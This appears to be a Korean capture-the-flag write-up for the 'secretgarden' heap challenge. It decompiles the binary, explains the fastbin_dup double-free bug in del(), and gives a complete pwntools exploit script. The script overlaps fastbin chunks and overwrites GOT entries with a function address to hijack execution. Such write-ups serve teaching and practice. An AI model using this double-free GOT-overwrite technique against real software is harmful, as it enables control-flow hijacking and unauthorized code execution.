문제


secretgarden 바이너리의 checksec 결과는 다음과 같다.

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

file 명령어의 결과는 다음과 같다.

secretgarden: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=22cb8aae67a3f8faed65bd339fa5b1eff20ae57d, not stripped

바이너리 코드

add()

int add()
{
    ...
    size_t size; // [rbp-20h] 
    ...
    LODWORD(size) = 0;
    ...
    else
    {
        s = malloc(0x28);
        memset(s,0,0x28);
        printf("Length of the name :");
        if ((unsigned int)__isoc99_scanf("%u",&size) == -1 )
            exit(-1);
        buf = malloc((unsigned int)size);
        ...
        printf("The name of flower :")
        read(0,buf,(unsigned int)size);
        *((_QWORD *)s+1) = buf;
        printf("The color of the flower :");
        __isoc99_scanf("%23s", (char *)s+16);
        *(_DWORD *)s = 1;
        for(HIDWORD(size) = 0; HIDWORD(size) < 0x63; ++HIDWORD(size))
        {
            if (!*(&flowerlist + HIDWORD(size)))
            {
                *(&flowerlist + HIDWORD(size)) = s;
                break;
            }
        }
        ++flowercount;
        result = puts("Successful !");
    }
    ...
}

del()

int del()
{
    ...
    if (flowercount)
    {
       printf("Which flower do you want to remove from the garden");
       __isoc99_scanf("%d",&v2);
       if (v2 <= 0x63 && *(&flowerlist + v2))
       {
           *(_DWORD *)*(&flowerlist + v2) = 0;
           free(*((void **)*(&flowerlist+v2)+1));
           puts("Successful");
       }
    }
    ...
}

64비트에서 fastbin은 0x20 - 0xb0 (16 바이트 간격)

del() 함수에서는 add() 함수에서 flower name을 저장하기 위해 할당한 chunk를 free 한다. 이 때 해당 chunk가 free chunk인지 검증을 하지 않고 free를 하기 때문에 fastbin_dup 취약점이 존재한다.

fastbin_dup 취약점

조건

  • 동일한 크기의 fast chunk의 할당 및 free가 자유로워야 한다.
  • free된 fast chunk를 한 번 더 free할 수 있어야 한다. (double free bug)

공격 방법

  • 동일한 크기의 chunk 3개 할당 (chunk 1,2,3)
  • chunk 1 free 후 chunk 2 free
  • chunk 1 다시 free
  • 위의 chunk와 동일한 크기의 chunk 3개 할당
  • chunk 4와 chunk 6의 주소가 동일함

exploit 방법

  1. flower name으로 80 바이트 (0x60 바이트가 할당됨)를 할당받는다. (2번 반복)
  2. del() 함수를 통해서 첫 번재와 두 번재로 할당받은 chunk를 free한다.
  3. del() 함수를 통해서 첫 번째로 할당받은 chunk를 free한다.
  4. flower name으로 80 바이트 (0x60 바이트가 할당됨)를 할당받는다. chunk의 앞 8바이트에 (원하는 영역 -16) 을 쓴다.
  5. flower name으로 80 바이트 (0x60 바이트가 할당됨)를 할당받는다. (2번 반복)
  6. 5번을 통해서 내가 원하는 영역을 chunk로 할당받을 수 있다.

주의할 점
내가 원하는 chunk를 할당받기 위해서는 (원하는 영역 -8)에 해당 chunk의 사이즈가 정확히 setting 되어 있어야 한다. 즉 위에서는 (원하는 영역 -8)에 0x60이 저장되어 있어야 한다. 근데 사이즈 체크를 할 때 하위 4바이트만 가지고 체크하는 것 같다. 이 문제에서 (원하는 영역 -8)에 0x??00000000000060이 저장되어 있는데 할당이 된다.

풀이


#!/usr/bin/python

from pwn import *

file_path="/home/sungyun/round4/lab12/secretgarden"

def add(length,name,color):
	p.recvuntil("choice : ")
	p.send("1")
	p.recvuntil("name :")
	p.sendline(length)
	p.recvuntil("flower :")
	p.send(name)
	p.recvuntil("flower :")
	p.sendline(color)
	p.recvuntil("!\n")

def del_name(index):
	p.recvuntil("choice : ")
	p.send("3")
	p.recvuntil("garden:")
	p.sendline(index)
	p.recvuntil("Successful\n")

p=process(file_path)

got_sec=0x602002-8
magic=0x400c7b

add("80","3ffr3s","green")
add("80","w1ll_exploit","green")
#add("80","secret_garden","green")

del_name("0")
del_name("1")
del_name("0")

add("80",p64(got_sec),"ha_we")
add("80","plz!!!","ba_we")
add("80","asldkjf","123")

p.recvuntil("choice : ")
p.send("1")
p.recvuntil("name :")
p.sendline("80")
p.recvuntil("flower :")
p.send("AAAAAA"+"\x00"*8+p64(magic)*2)
p.recvuntil("flower :")
p.sendline("finish!!!")

p.interactive()